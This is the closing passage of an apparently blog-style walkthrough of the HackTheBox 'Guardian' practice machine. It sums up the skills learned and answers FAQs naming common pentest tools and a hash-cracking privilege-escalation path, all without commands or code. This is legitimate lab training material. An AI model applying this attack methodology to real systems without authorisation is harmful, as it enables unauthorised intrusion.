• LinPEAS/LinEnum: These are post-exploitation enumeration scripts that automatically search a Linux system for privilege escalation vectors.

Skills and Lessons Learned from Completing Guardian

Completing the Guardian hack is more than just capturing flags; it’s about the technical skills and lessons you gain along the way. This machine provides a solid foundation in the core components of a penetration test, from reconnaissance to privilege escalation.

The experience reinforces the importance of a systematic approach. You learn that patience and thoroughness in the early stages pay off significantly later on. These are not just skills for HackTheBox—they are essential for a career in cybersecurity. Let’s explore the specific skills you’ll develop and how they prepare you for what’s next.

Technical Skills Developed

By tackling Guardian, you’ll gain hands-on experience with a variety of technical skills. First and foremost, you will sharpen your Linux command-line abilities. Navigating the file system, searching for files, and managing permissions are fundamental skills that you’ll use constantly.

You’ll also develop a practical understanding of web application security. Instead of just reading about vulnerabilities, you will actively find and exploit them. This includes learning how to analyze source code for weaknesses, even if you are not a Python or JavaScript developer yourself.

Finally, the privilege escalation phase teaches you about internal enumeration and credential management. You’ll learn how to hunt for misplaced credentials and password hashes and how to use tools like John the Ripper to crack them. This entire process builds a repeatable methodology you can apply to countless other machines.

How Guardian Prepares You for Future Challenges

Guardian serves as a perfect stepping stone for future challenges on HackTheBox and beyond. The skills you learn on this “Easy” tier machine are the building blocks for tackling Medium and Hard boxes. The core workflow—enumeration, exploitation, and privilege escalation—is universal.

The machine teaches you the single most important lesson in hacking: enumeration is key. The initial access vector on Guardian is found through careful information gathering, not by throwing random exploits at the target. Mastering this methodical approach will make you a more effective and efficient hacker.

Guardian prepares you for more complex scenarios by:

• Building Confidence: Successfully completing a machine from start to finish proves you have what it takes.
• Reinforcing a Methodology: It drills a systematic workflow into your brain, preventing you from getting lost on more complex targets.
• Introducing Core Concepts: It exposes you to common vulnerability classes that you will see again and again in different forms.

Conclusion

In conclusion, tackling the Guardian machine on HackTheBox not only enhances your technical skills but also builds your confidence as a cybersecurity enthusiast. By understanding the challenge’s objectives and following the step-by-step walkthrough, you can effectively navigate the complexities of penetration testing in a safe environment. Remember to learn from common pitfalls and leverage the tools and techniques discussed to streamline your approach. As you conquer Guardian, you’ll gather invaluable insights that will serve you well in future challenges. Ready to take your hacking skills to the next level? Don’t forget to subscribe for more tips and tutorials!

Frequently Asked Questions

Is Guardian suitable for absolute beginners on HackTheBox?

Yes, Guardian is highly suitable for a beginner. As an “Easy” tier machine, its vulnerability path is straightforward. It provides an excellent introduction to the core hack methodology, focusing on fundamental enumeration and exploitation without being overly complex.

Which tools are most effective for attacking Guardian?

The most effective tools for Guardian are Nmap for initial scanning, a web proxy like Burp Suite for traffic analysis, a directory ripper like Gobuster, and password crackers like John the Ripper. Tools like Responder and custom Python scripts can also be useful.

What is the privilege escalation path for Guardian?

The privilege escalation path on this Linux machine involves finding a stored password hash or weak credentials during internal enumeration. You can then use a tool like John the Ripper to crack the hash and gain access to a higher-privileged account.

Are there any official writeups or solutions available for this machine?

Since Guardian is a retired machine, HackTheBox has released official writeups detailing the intended solution. You can also find numerous community-created guides and blog posts that provide step-by-step walkthroughs for this challenge and its vulnerability.